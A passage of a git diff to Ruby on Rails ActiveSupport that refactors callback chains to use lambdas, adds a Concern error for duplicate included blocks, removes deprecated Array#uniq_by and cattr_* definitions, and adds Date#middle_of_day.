-        unless options[:unless].empty?
-          conditions << Array(_compile_filter(options[:unless])).map {|f| "!#{f}"}
-        end
-
-        @compiled_options = conditions.flatten.join(" && ")
+      def invert_lambda(l)
+        lambda { |*args, &blk| !l.call(*args, &blk) }
       end
 
       # Filters support:
       #
-      #   Arrays::  Used in conditions. This is used to specify
-      #             multiple conditions. Used internally to
-      #             merge conditions from skip_* filters.
       #   Symbols:: A method to call.
       #   Strings:: Some content to evaluate.
       #   Procs::   A proc to call with the object.
@@ -249,87 +412,106 @@ module ActiveSupport
       # All of these objects are compiled into methods and handled
       # the same after this point:
       #
-      #   Arrays::  Merged together into a single filter.
       #   Symbols:: Already methods.
-      #   Strings:: class_eval'ed into methods.
-      #   Procs::   define_method'ed into methods.
+      #   Strings:: class_eval'd into methods.
+      #   Procs::   using define_method compiled into methods.
       #   Objects::
       #     a method is created that calls the before_foo method
       #     on the object.
-      def _compile_filter(filter)
+      def make_lambda(filter)
         case filter
-        when Array
-          filter.map {|f| _compile_filter(f)}
         when Symbol
-          filter
+          lambda { |target, _, &blk| target.send filter, &blk }
         when String
-          "(#{filter})"
-        when Proc
-          method_name = "_callback_#{@kind}_#{next_id}"
-          @klass.send(:define_method, method_name, &filter)
-          return method_name if filter.arity <= 0
+          l = eval "lambda { |value| #{filter} }"
+          lambda { |target, value| target.instance_exec(value, &l) }
+        when Conditionals::Value then filter
+        when ::Proc
+          if filter.arity > 1
+            return lambda { |target, _, &block|
+              raise ArgumentError unless block
+              target.instance_exec(target, block, &filter)
+            }
+          end
 
-          method_name << (filter.arity == 1 ? "(self)" : " self, Proc.new ")
+          if filter.arity <= 0
+            lambda { |target, _| target.instance_exec(&filter) }
+          else
+            lambda { |target, _| target.instance_exec(target, &filter) }
+          end
         else
-          method_name = "_callback_#{@kind}_#{next_id}"
-          @klass.send(:define_method, "#{method_name}_object") { filter }
+          scopes = Array(chain_config[:scope])
+          method_to_call = scopes.map{ |s| public_send(s) }.join("_")
 
-          _normalize_legacy_filter(kind, filter)
-          scopes = Array(chain.config[:scope])
-          method_to_call = scopes.map{ |s| s.is_a?(Symbol) ? send(s) : s }.join("_")
-
-          @klass.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
-            def #{method_name}(&blk)
-              #{method_name}_object.send(:#{method_to_call}, self, &blk)
-            end
-          RUBY_EVAL
-
-          method_name
+          lambda { |target, _, &blk|
+            filter.public_send method_to_call, target, &blk
+          }
         end
       end
 
-      def _normalize_legacy_filter(kind, filter)
-        if !filter.respond_to?(kind) && filter.respond_to?(:filter)
-          message = "Filter object with #filter method is deprecated. Define method corresponding " \
-                    "to filter type (#before, #after or #around)."
-          ActiveSupport::Deprecation.warn message
-          filter.singleton_class.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
-            def #{kind}(context, &block) filter(context, &block) end
-          RUBY_EVAL
-        elsif filter.respond_to?(:before) && filter.respond_to?(:after) && kind == :around && !filter.respond_to?(:around)
-          message = "Filter object with #before and #after methods is deprecated. Define #around method instead."
-          ActiveSupport::Deprecation.warn message
-          def filter.around(context)
-            should_continue = before(context)
-            yield if should_continue
-            after(context)
-          end
+      def compute_identifier(filter)
+        case filter
+        when String, ::Proc
+          filter.object_id
+        else
+          filter
         end
       end
+
+      def conditions_lambdas
+        @if.map { |c| make_lambda c } +
+          @unless.map { |c| invert_lambda make_lambda c }
+      end
     end
 
     # An Array with a compile method.
-    class CallbackChain < Array #:nodoc:#
+    class CallbackChain #:nodoc:#
+      include Enumerable
+
       attr_reader :name, :config
 
       def initialize(name, config)
         @name = name
         @config = {
-          :terminator => "false",
           :scope => [ :kind ]
         }.merge!(config)
+        @chain = []
+        @callbacks = nil
+        @mutex = Mutex.new
+      end
+
+      def each(&block); @chain.each(&block); end
+      def index(o);     @chain.index(o); end
+      def empty?;       @chain.empty?; end
+
+      def insert(index, o)
+        @callbacks = nil
+        @chain.insert(index, o)
+      end
+
+      def delete(o)
+        @callbacks = nil
+        @chain.delete(o)
+      end
+
+      def clear
+        @callbacks = nil
+        @chain.clear
+        self
+      end
+
+      def initialize_copy(other)
+        @callbacks = nil
+        @chain     = other.chain.dup
+        @mutex     = Mutex.new
       end
 
       def compile
-        method =  ["value = nil", "halted = false"]
-        callbacks = "value = !halted && (!block_given? || yield)"
-        reverse_each do |callback|
-          callbacks = callback.apply(callbacks)
+        @callbacks || @mutex.synchronize do
+          @callbacks ||= @chain.reverse.inject(Filters::ENDING) do |chain, callback|
+            callback.apply chain
+          end
         end
-        method << callbacks
-
-        method << "value"
-        method.join("\n")
       end
 
       def append(*callbacks)
@@ -340,69 +522,43 @@ module ActiveSupport
         callbacks.each { |c| prepend_one(c) }
       end
 
+      protected
+      def chain; @chain; end
+
       private
 
       def append_one(callback)
+        @callbacks = nil
         remove_duplicates(callback)
-        push(callback)
+        @chain.push(callback)
       end
 
       def prepend_one(callback)
+        @callbacks = nil
         remove_duplicates(callback)
-        unshift(callback)
+        @chain.unshift(callback)
       end
 
       def remove_duplicates(callback)
-        delete_if { |c| callback.duplicates?(c) }
+        @callbacks = nil
+        @chain.delete_if { |c| callback.duplicates?(c) }
       end
-
     end
 
     module ClassMethods
-
-      # This method defines callback chain method for the given kind
-      # if it was not yet defined.
-      # This generated method plays caching role.
-      def __define_callbacks(kind, object) #:nodoc:
-        name = __callback_runner_name(kind)
-        unless object.respond_to?(name, true)
-          str = object.send("_#{kind}_callbacks").compile
-          class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
-            def #{name}() #{str} end
-            protected :#{name}
-          RUBY_EVAL
-        end
-        name
-      end
-
-      def __reset_runner(symbol)
-        name = __callback_runner_name(symbol)
-        undef_method(name) if method_defined?(name)
-      end
-
-      def __callback_runner_name_cache
-        @__callback_runner_name_cache ||= ThreadSafe::Cache.new {|cache, kind| cache[kind] = __generate_callback_runner_name(kind) }
-      end
-
-      def __generate_callback_runner_name(kind)
-        "_run__#{self.name.hash.abs}__#{kind}__callbacks"
-      end
-
-      def __callback_runner_name(kind)
-        __callback_runner_name_cache[kind]
+      def normalize_callback_params(filters, block) # :nodoc:
+        type = CALLBACK_FILTER_TYPES.include?(filters.first) ? filters.shift : :before
+        options = filters.extract_options!
+        filters.unshift(block) if block
+        [type, filters, options.dup]
       end
 
       # This is used internally to append, prepend and skip callbacks to the
       # CallbackChain.
-      def __update_callbacks(name, filters = [], block = nil) #:nodoc:
-        type = CALLBACK_FILTER_TYPES.include?(filters.first) ? filters.shift : :before
-        options = filters.last.is_a?(Hash) ? filters.pop : {}
-        filters.unshift(block) if block
-
+      def __update_callbacks(name) #:nodoc:
         ([self] + ActiveSupport::DescendantsTracker.descendants(self)).reverse.each do |target|
-          chain = target.send("_#{name}_callbacks")
-          yield target, chain.dup, type, filters, options
-          target.__reset_runner(name)
+          chain = target.get_callbacks name
+          yield target, chain.dup
         end
       end
 
@@ -421,7 +577,7 @@ module ActiveSupport
       # The callback can be specified as a symbol naming an instance method; as a
       # proc, lambda, or block; as a string to be instance evaluated; or as an
       # object that responds to a certain method determined by the <tt>:scope</tt>
-      # argument to +define_callback+.
+      # argument to +define_callbacks+.
       #
       # If a proc, lambda, or block is given, its body is evaluated in the context
       # of the current object. It can also optionally accept the current object as
@@ -442,16 +598,15 @@ module ActiveSupport
       # * <tt>:prepend</tt> - If +true+, the callback will be prepended to the
       #   existing chain rather than appended.
       def set_callback(name, *filter_list, &block)
-        mapped = nil
-
-        __update_callbacks(name, filter_list, block) do |target, chain, type, filters, options|
-          mapped ||= filters.map do |filter|
-            Callback.new(chain, filter, type, options.dup, self)
-          end
+        type, filters, options = normalize_callback_params(filter_list, block)
+        self_chain = get_callbacks name
+        mapped = filters.map do |filter|
+          Callback.build(self_chain, filter, type, options)
+        end
 
+        __update_callbacks(name) do |target, chain|
           options[:prepend] ? chain.prepend(*mapped) : chain.append(*mapped)
-
-          target.send("_#{name}_callbacks=", chain)
+          target.set_callbacks name, chain
         end
       end
 
@@ -463,39 +618,37 @@ module ActiveSupport
       #      skip_callback :validate, :before, :check_membership, if: -> { self.age > 18 }
       #   end
       def skip_callback(name, *filter_list, &block)
-        __update_callbacks(name, filter_list, block) do |target, chain, type, filters, options|
+        type, filters, options = normalize_callback_params(filter_list, block)
+
+        __update_callbacks(name) do |target, chain|
           filters.each do |filter|
             filter = chain.find {|c| c.matches?(type, filter) }
 
             if filter && options.any?
-              new_filter = filter.clone(chain, self)
+              new_filter = filter.merge(chain, options)
               chain.insert(chain.index(filter), new_filter)
-              new_filter.recompile!(options)
             end
 
             chain.delete(filter)
           end
-          target.send("_#{name}_callbacks=", chain)
+          target.set_callbacks name, chain
         end
       end
 
       # Remove all set callbacks for the given event.
-      def reset_callbacks(symbol)
-        callbacks = send("_#{symbol}_callbacks")
+      def reset_callbacks(name)
+        callbacks = get_callbacks name
 
         ActiveSupport::DescendantsTracker.descendants(self).each do |target|
-          chain = target.send("_#{symbol}_callbacks").dup
+          chain = target.get_callbacks(name).dup
           callbacks.each { |c| chain.delete(c) }
-          target.send("_#{symbol}_callbacks=", chain)
-          target.__reset_runner(symbol)
+          target.set_callbacks name, chain
         end
 
-        self.send("_#{symbol}_callbacks=", callbacks.dup.clear)
-
-        __reset_runner(symbol)
+        self.set_callbacks name, callbacks.dup.clear
       end
 
-      # Define sets of events in the object lifecycle that support callbacks.
+      # Define sets of events in the object life cycle that support callbacks.
       #
       #   define_callbacks :validate
       #   define_callbacks :initialize, :save, :destroy
@@ -504,10 +657,11 @@ module ActiveSupport
       #
       # * <tt>:terminator</tt> - Determines when a before filter will halt the
       #   callback chain, preventing following callbacks from being called and
-      #   the event from being triggered. This is a string to be eval'ed. The
-      #   result of the callback is available in the +result+ variable.
+      #   the event from being triggered. This should be a lambda to be executed.
+      #   The current object and the return result of the callback will be called
+      #   with the lambda.
       #
-      #     define_callbacks :validate, terminator: 'result == false'
+      #     define_callbacks :validate, terminator: ->(target, result) { result == false }
       #
       #   In this example, if any before validate callbacks returns +false+,
       #   other callbacks are not executed. Defaults to +false+, meaning no value
@@ -562,13 +716,30 @@ module ActiveSupport
       #     define_callbacks :save, scope: [:name]
       #
       #   would call <tt>Audit#save</tt>.
-      def define_callbacks(*callbacks)
-        config = callbacks.last.is_a?(Hash) ? callbacks.pop : {}
-        callbacks.each do |callback|
-          class_attribute "_#{callback}_callbacks"
-          send("_#{callback}_callbacks=", CallbackChain.new(callback, config))
+      def define_callbacks(*names)
+        options = names.extract_options!
+        if options.key?(:terminator) && String === options[:terminator]
+          ActiveSupport::Deprecation.warn "String based terminators are deprecated, please use a lambda"
+          value = options[:terminator]
+          line = class_eval "lambda { |result| #{value} }", __FILE__, __LINE__
+          options[:terminator] = lambda { |target, result| target.instance_exec(result, &line) }
+        end
+
+        names.each do |name|
+          class_attribute "_#{name}_callbacks"
+          set_callbacks name, CallbackChain.new(name, options)
         end
       end
+
+      protected
+
+      def get_callbacks(name)
+        send "_#{name}_callbacks"
+      end
+
+      def set_callbacks(name, callbacks)
+        send "_#{name}_callbacks=", callbacks
+      end
     end
   end
 end
diff --git a/activesupport/lib/active_support/concern.rb b/activesupport/lib/active_support/concern.rb
index eeeba60..b796d01 100644
--- a/activesupport/lib/active_support/concern.rb
+++ b/activesupport/lib/active_support/concern.rb
@@ -98,25 +98,33 @@ module ActiveSupport
   #     include Bar # works, Bar takes care now of its dependencies
   #   end
   module Concern
+    class MultipleIncludedBlocks < StandardError #:nodoc:
+      def initialize
+        super "Cannot define multiple 'included' blocks for a Concern"
+      end
+    end
+
     def self.extended(base) #:nodoc:
-      base.instance_variable_set("@_dependencies", [])
+      base.instance_variable_set(:@_dependencies, [])
     end
 
     def append_features(base)
-      if base.instance_variable_defined?("@_dependencies")
-        base.instance_variable_get("@_dependencies") << self
+      if base.instance_variable_defined?(:@_dependencies)
+        base.instance_variable_get(:@_dependencies) << self
         return false
       else
         return false if base < self
         @_dependencies.each { |dep| base.send(:include, dep) }
         super
-        base.extend const_get("ClassMethods") if const_defined?("ClassMethods")
-        base.class_eval(&@_included_block) if instance_variable_defined?("@_included_block")
+        base.extend const_get(:ClassMethods) if const_defined?(:ClassMethods)
+        base.class_eval(&@_included_block) if instance_variable_defined?(:@_included_block)
       end
     end
 
     def included(base = nil, &block)
       if base.nil?
+        raise MultipleIncludedBlocks if instance_variable_defined?(:@_included_block)
+
         @_included_block = block
       else
         super
diff --git a/activesupport/lib/active_support/configurable.rb b/activesupport/lib/active_support/configurable.rb
index e0d39d5..3dd44e3 100644
--- a/activesupport/lib/active_support/configurable.rb
+++ b/activesupport/lib/active_support/configurable.rb
@@ -107,7 +107,7 @@ module ActiveSupport
         options = names.extract_options!
 
         names.each do |name|
-          raise NameError.new('invalid config attribute name') unless name =~ /^[_A-Za-z]\w*$/
+          raise NameError.new('invalid config attribute name') unless name =~ /\A[_A-Za-z]\w*\z/
 
           reader, reader_line = "def #{name}; config.#{name}; end", __LINE__
           writer, writer_line = "def #{name}=(value); config.#{name} = value; end", __LINE__
diff --git a/activesupport/lib/active_support/core_ext.rb b/activesupport/lib/active_support/core_ext.rb
index 998a59c..199aa91 100644
--- a/activesupport/lib/active_support/core_ext.rb
+++ b/activesupport/lib/active_support/core_ext.rb
@@ -1,4 +1,3 @@
 Dir["#{File.dirname(__FILE__)}/core_ext/*.rb"].each do |path|
-  next if File.basename(path, '.rb') == 'logger'
   require path
 end
diff --git a/activesupport/lib/active_support/core_ext/array.rb b/activesupport/lib/active_support/core_ext/array.rb
index 79ba791..7d0c1e4 100644
--- a/activesupport/lib/active_support/core_ext/array.rb
+++ b/activesupport/lib/active_support/core_ext/array.rb
@@ -1,6 +1,5 @@
 require 'active_support/core_ext/array/wrap'
 require 'active_support/core_ext/array/access'
-require 'active_support/core_ext/array/uniq_by'
 require 'active_support/core_ext/array/conversions'
 require 'active_support/core_ext/array/extract_options'
 require 'active_support/core_ext/array/grouping'
diff --git a/activesupport/lib/active_support/core_ext/array/access.rb b/activesupport/lib/active_support/core_ext/array/access.rb
index 4f1e432..67f58bc 100644
--- a/activesupport/lib/active_support/core_ext/array/access.rb
+++ b/activesupport/lib/active_support/core_ext/array/access.rb
@@ -48,6 +48,8 @@ class Array
   end
 
   # Equal to <tt>self[41]</tt>. Also known as accessing "the reddit".
+  #
+  #   (1..42).to_a.forty_two # => 42
   def forty_two
     self[41]
   end
diff --git a/activesupport/lib/active_support/core_ext/array/conversions.rb b/activesupport/lib/active_support/core_ext/array/conversions.rb
index 3807ee6..76ffd23 100644
--- a/activesupport/lib/active_support/core_ext/array/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/array/conversions.rb
@@ -82,23 +82,8 @@ class Array
     end
   end
 
-  # Converts a collection of elements into a formatted string by calling
-  # <tt>to_s</tt> on all elements and joining them. Having this model:
-  #
-  #   class Blog < ActiveRecord::Base
-  #     def to_s
-  #       title
-  #     end
-  #   end
-  #
-  #   Blog.all.map(&:title) #=> ["First Post", "Second Post", "Third post"]
-  #
-  # <tt>to_formatted_s</tt> shows us:
-  #
-  #   Blog.all.to_formatted_s # => "First PostSecond PostThird Post"
-  #
-  # Adding in the <tt>:db</tt> argument as the format yields a comma separated
-  # id list:
+  # Extends <tt>Array#to_s</tt> to convert a collection of elements into a
+  # comma separated id list if <tt>:db</tt> argument is given as the format.
   #
   #   Blog.all.to_formatted_s(:db) # => "1,2,3"
   def to_formatted_s(format = :default)
diff --git a/activesupport/lib/active_support/core_ext/array/grouping.rb b/activesupport/lib/active_support/core_ext/array/grouping.rb
index 640e6e9..3529d57 100644
--- a/activesupport/lib/active_support/core_ext/array/grouping.rb
+++ b/activesupport/lib/active_support/core_ext/array/grouping.rb
@@ -25,15 +25,13 @@ class Array
       # subtracting from number gives how many to add;
       # modulo number ensures we don't add group of just fill.
       padding = (number - size % number) % number
-      collection = dup.concat([fill_with] * padding)
+      collection = dup.concat(Array.new(padding, fill_with))
     end
 
     if block_given?
       collection.each_slice(number) { |slice| yield(slice) }
     else
-      groups = []
-      collection.each_slice(number) { |group| groups << group }
-      groups
+      collection.each_slice(number).to_a
     end
   end
 
@@ -55,7 +53,7 @@ class Array
   #   ["4", "5"]
   #   ["6", "7"]
   def in_groups(number, fill_with = nil)
-    # size / number gives minor group size;
+    # size.div number gives minor group size;
     # size % number gives how many objects need extra accommodation;
     # each group hold either division or division + 1 items.
     division = size.div number
@@ -85,14 +83,28 @@ class Array
   #
   #   [1, 2, 3, 4, 5].split(3)              # => [[1, 2], [4, 5]]
   #   (1..10).to_a.split { |i| i % 3 == 0 } # => [[1, 2], [4, 5], [7, 8], [10]]
-  def split(value = nil, &block)
-    inject([[]]) do |results, element|
-      if block && block.call(element) || value == element
-        results << []
-      else
-        results.last << element
-      end
+  def split(value = nil)
+    if block_given?
+      inject([[]]) do |results, element|
+        if yield(element)
+          results << []
+        else
+          results.last << element
+        end
 
+        results
+      end
+    else
+      results, arr = [[]], self.dup
+      until arr.empty?
+        if (idx = arr.index(value))
+          results.last.concat(arr.shift(idx))
+          arr.shift
+          results << []
+        else
+          results.last.concat(arr.shift(arr.size))
+        end
+      end
       results
     end
   end
diff --git a/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb b/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
index 27718f1..f8d48b6 100644
--- a/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
+++ b/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
@@ -1,7 +1,7 @@
 class Array
-  # The human way of thinking about adding stuff to the end of a list is with append
+  # The human way of thinking about adding stuff to the end of a list is with append.
   alias_method :append,  :<<
 
-  # The human way of thinking about adding stuff to the beginning of a list is with prepend
+  # The human way of thinking about adding stuff to the beginning of a list is with prepend.
   alias_method :prepend, :unshift
 end
\ No newline at end of file
diff --git a/activesupport/lib/active_support/core_ext/array/uniq_by.rb b/activesupport/lib/active_support/core_ext/array/uniq_by.rb
deleted file mode 100644
index 23573c9..0000000
--- a/activesupport/lib/active_support/core_ext/array/uniq_by.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-class Array
-  # *DEPRECATED*: Use <tt>Array#uniq</tt> instead.
-  #
-  # Returns a unique array based on the criteria in the block.
-  #
-  #   [1, 2, 3, 4].uniq_by { |i| i.odd? } # => [1, 2]
-  def uniq_by(&block)
-    ActiveSupport::Deprecation.warn 'uniq_by is deprecated. Use Array#uniq instead'
-    uniq(&block)
-  end
-
-  # *DEPRECATED*: Use <tt>Array#uniq!</tt> instead.
-  #
-  # Same as +uniq_by+, but modifies +self+.
-  def uniq_by!(&block)
-    ActiveSupport::Deprecation.warn 'uniq_by! is deprecated. Use Array#uniq! instead'
-    uniq!(&block)
-  end
-end
diff --git a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
index 39b8cea..843c592 100644
--- a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
@@ -1,22 +1,7 @@
 require 'bigdecimal'
 require 'bigdecimal/util'
-require 'yaml'
 
 class BigDecimal
-  YAML_MAPPING = { 'Infinity' => '.Inf', '-Infinity' => '-.Inf', 'NaN' => '.NaN' }
-
-  def encode_with(coder)
-    string = to_s
-    coder.represent_scalar(nil, YAML_MAPPING[string] || string)
-  end
-
-  # Backport this method if it doesn't exist
-  unless method_defined?(:to_d)
-    def to_d
-      self
-    end
-  end
-
   DEFAULT_STRING_FORMAT = 'F'
   def to_formatted_s(*args)
     if args[0].is_a?(Symbol)
diff --git a/activesupport/lib/active_support/core_ext/big_decimal/yaml_conversions.rb b/activesupport/lib/active_support/core_ext/big_decimal/yaml_conversions.rb
new file mode 100644
index 0000000..46ba93e
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/big_decimal/yaml_conversions.rb
@@ -0,0 +1,14 @@
+ActiveSupport::Deprecation.warn 'core_ext/big_decimal/yaml_conversions is deprecated and will be removed in the future.'
+
+require 'bigdecimal'
+require 'yaml'
+require 'active_support/core_ext/big_decimal/conversions'
+
+class BigDecimal
+  YAML_MAPPING = { 'Infinity' => '.Inf', '-Infinity' => '-.Inf', 'NaN' => '.NaN' }
+
+  def encode_with(coder)
+    string = to_s
+    coder.represent_scalar(nil, YAML_MAPPING[string] || string)
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/class.rb b/activesupport/lib/active_support/core_ext/class.rb
index 86b752c..c750a10 100644
--- a/activesupport/lib/active_support/core_ext/class.rb
+++ b/activesupport/lib/active_support/core_ext/class.rb
@@ -1,4 +1,3 @@
 require 'active_support/core_ext/class/attribute'
-require 'active_support/core_ext/class/attribute_accessors'
 require 'active_support/core_ext/class/delegating_attributes'
 require 'active_support/core_ext/class/subclasses'
diff --git a/activesupport/lib/active_support/core_ext/class/attribute.rb b/activesupport/lib/active_support/core_ext/class/attribute.rb
index 6d49b7b..f2a221c 100644
--- a/activesupport/lib/active_support/core_ext/class/attribute.rb
+++ b/activesupport/lib/active_support/core_ext/class/attribute.rb
@@ -70,8 +70,7 @@ class Class
   # To opt out of both instance methods, pass <tt>instance_accessor: false</tt>.
   def class_attribute(*attrs)
     options = attrs.extract_options!
-    # double assignment is used to avoid "assigned but unused variable" warning
-    instance_reader = instance_reader = options.fetch(:instance_accessor, true) && options.fetch(:instance_reader, true)
+    instance_reader = options.fetch(:instance_accessor, true) && options.fetch(:instance_reader, true)
     instance_writer = options.fetch(:instance_accessor, true) && options.fetch(:instance_writer, true)
     instance_predicate = options.fetch(:instance_predicate, true)
 
@@ -119,7 +118,10 @@ class Class
   end
 
   private
-    def singleton_class?
-      ancestors.first != self
+
+    unless respond_to?(:singleton_class?)
+      def singleton_class?
+        ancestors.first != self
+      end
     end
 end
diff --git a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
index 3485961..84d5e95 100644
--- a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
+++ b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
@@ -1,170 +1,4 @@
-require 'active_support/core_ext/array/extract_options'
-
-# Extends the class object with class and instance accessors for class attributes,
-# just like the native attr* accessors for instance attributes.
-class Class
-  # Defines a class attribute if it's not defined and creates a reader method that
-  # returns the attribute value.
-  #
-  #   class Person
-  #     cattr_reader :hair_colors
-  #   end
-  #
-  #   Person.class_variable_set("@@hair_colors", [:brown, :black])
-  #   Person.hair_colors     # => [:brown, :black]
-  #   Person.new.hair_colors # => [:brown, :black]
-  #
-  # The attribute name must be a valid method name in Ruby.
-  #
-  #   class Person
-  #     cattr_reader :"1_Badname "
-  #   end
-  #   # => NameError: invalid attribute name
-  #
-  # If you want to opt out the instance reader method, you can pass <tt>instance_reader: false</tt>
-  # or <tt>instance_accessor: false</tt>.
-  #
-  #   class Person
-  #     cattr_reader :hair_colors, instance_reader: false
-  #   end
-  #
-  #   Person.new.hair_colors # => NoMethodError
-  def cattr_reader(*syms)
-    options = syms.extract_options!
-    syms.each do |sym|
-      raise NameError.new("invalid class attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
-      class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-        unless defined? @@#{sym}
-          @@#{sym} = nil
-        end
-
-        def self.#{sym}
-          @@#{sym}
-        end
-      EOS
-
-      unless options[:instance_reader] == false || options[:instance_accessor] == false
-        class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-          def #{sym}
-            @@#{sym}
-          end
-        EOS
-      end
-    end
-  end
-
-  # Defines a class attribute if it's not defined and creates a writer method to allow
-  # assignment to the attribute.
-  #
-  #   class Person
-  #     cattr_writer :hair_colors
-  #   end
-  #
-  #   Person.hair_colors = [:brown, :black]
-  #   Person.class_variable_get("@@hair_colors") # => [:brown, :black]
-  #   Person.new.hair_colors = [:blonde, :red]
-  #   Person.class_variable_get("@@hair_colors") # => [:blonde, :red]
-  #
-  # The attribute name must be a valid method name in Ruby.
-  #
-  #   class Person
-  #     cattr_writer :"1_Badname "
-  #   end
-  #   # => NameError: invalid attribute name
-  #
-  # If you want to opt out the instance writer method, pass <tt>instance_writer: false</tt>
-  # or <tt>instance_accessor: false</tt>.
-  #
-  #   class Person
-  #     cattr_writer :hair_colors, instance_writer: false
-  #   end
-  #
-  #   Person.new.hair_colors = [:blonde, :red] # => NoMethodError
-  #
-  # Also, you can pass a block to set up the attribute with a default value.
-  #
-  #   class Person
-  #     cattr_writer :hair_colors do
-  #       [:brown, :black, :blonde, :red]
-  #     end
-  #   end
-  #
-  #   Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
-  def cattr_writer(*syms)
-    options = syms.extract_options!
-    syms.each do |sym|
-      raise NameError.new("invalid class attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
-      class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-        unless defined? @@#{sym}
-          @@#{sym} = nil
-        end
-
-        def self.#{sym}=(obj)
-          @@#{sym} = obj
-        end
-      EOS
-
-      unless options[:instance_writer] == false || options[:instance_accessor] == false
-        class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-          def #{sym}=(obj)
-            @@#{sym} = obj
-          end
-        EOS
-      end
-      send("#{sym}=", yield) if block_given?
-    end
-  end
-
-  # Defines both class and instance accessors for class attributes.
-  #
-  #   class Person
-  #     cattr_accessor :hair_colors
-  #   end
-  #
-  #   Person.hair_colors = [:brown, :black, :blonde, :red]
-  #   Person.hair_colors     # => [:brown, :black, :blonde, :red]
-  #   Person.new.hair_colors # => [:brown, :black, :blonde, :red]
-  #
-  # If a subclass changes the value then that would also change the value for
-  # parent class. Similarly if parent class changes the value then that would
-  # change the value of subclasses too.
-  #
-  #   class Male < Person
-  #   end
-  #
-  #   Male.hair_colors << :blue
-  #   Person.hair_colors # => [:brown, :black, :blonde, :red, :blue]
-  #
-  # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
-  # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
-  #
-  #   class Person
-  #     cattr_accessor :hair_colors, instance_writer: false, instance_reader: false
-  #   end
-  #
-  #   Person.new.hair_colors = [:brown]  # => NoMethodError
-  #   Person.new.hair_colors             # => NoMethodError
-  #
-  # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
-  #
-  #   class Person
-  #     cattr_accessor :hair_colors, instance_accessor: false
-  #   end
-  #
-  #   Person.new.hair_colors = [:brown]  # => NoMethodError
-  #   Person.new.hair_colors             # => NoMethodError
-  #
-  # Also you can pass a block to set up the attribute with a default value.
-  #
-  #   class Person
-  #     cattr_accessor :hair_colors do
-  #       [:brown, :black, :blonde, :red]
-  #     end
-  #   end
-  #
-  #   Person.class_variable_get("@@hair_colors") #=> [:brown, :black, :blonde, :red]
-  def cattr_accessor(*syms, &blk)
-    cattr_reader(*syms)
-    cattr_writer(*syms, &blk)
-  end
-end
+# cattr_* became mattr_* aliases in 7dfbd91b0780fbd6a1dd9bfbc176e10894871d2d,
+# but we keep this around for libraries that directly require it knowing they
+# want cattr_*. No need to deprecate.
+require 'active_support/core_ext/module/attribute_accessors'
diff --git a/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb b/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
index ff870f5..c2219be 100644
--- a/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
+++ b/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
@@ -4,20 +4,21 @@ require 'active_support/core_ext/module/remove_method'
 class Class
   def superclass_delegating_accessor(name, options = {})
     # Create private _name and _name= methods that can still be used if the public
-    # methods are overridden. This allows
-    _superclass_delegating_accessor("_#{name}")
+    # methods are overridden.
+    _superclass_delegating_accessor("_#{name}", options)
 
-    # Generate the public methods name, name=, and name?
+    # Generate the public methods name, name=, and name?.
     # These methods dispatch to the private _name, and _name= methods, making them
-    # overridable
+    # overridable.
     singleton_class.send(:define_method, name) { send("_#{name}") }
     singleton_class.send(:define_method, "#{name}?") { !!send("_#{name}") }
     singleton_class.send(:define_method, "#{name}=") { |value| send("_#{name}=", value) }
 
-    # If an instance_reader is needed, generate methods for name and name= on the
-    # class itself, so instances will be able to see them
-    define_method(name) { send("_#{name}") } if options[:instance_reader] != false
-    define_method("#{name}?") { !!send("#{name}") } if options[:instance_reader] != false
+    # If an instance_reader is needed, generate public instance methods name and name?.
+    if options[:instance_reader] != false
+      define_method(name) { send("_#{name}") }
+      define_method("#{name}?") { !!send("#{name}") }
+    end
   end
 
   private
diff --git a/activesupport/lib/active_support/core_ext/date/calculations.rb b/activesupport/lib/active_support/core_ext/date/calculations.rb
index 06e4847..c60e833 100644
--- a/activesupport/lib/active_support/core_ext/date/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date/calculations.rb
@@ -69,6 +69,16 @@ class Date
   alias :at_midnight :beginning_of_day
   alias :at_beginning_of_day :beginning_of_day
 
+  # Converts Date to a Time (or DateTime if necessary) with the time portion set to the middle of the day (12:00)
+  def middle_of_day
+    in_time_zone.middle_of_day
+  end
+  alias :midday :middle_of_day
+  alias :noon :middle_of_day
+  alias :at_midday :middle_of_day
+  alias :at_noon :middle_of_day
+  alias :at_middle_of_day :middle_of_day
+
   # Converts Date to a Time (or DateTime if necessary) with the time portion set to the end of the day (23:59:59)
   def end_of_day
     in_time_zone.end_of_day
diff --git a/activesupport/lib/active_support/core_ext/date/conversions.rb b/activesupport/lib/active_support/core_ext/date/conversions.rb
index cdf606f..df419a6 100644
--- a/activesupport/lib/active_support/core_ext/date/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/date/conversions.rb
@@ -13,14 +13,17 @@ class Date
       day_format = ActiveSupport::Inflector.ordinalize(date.day)
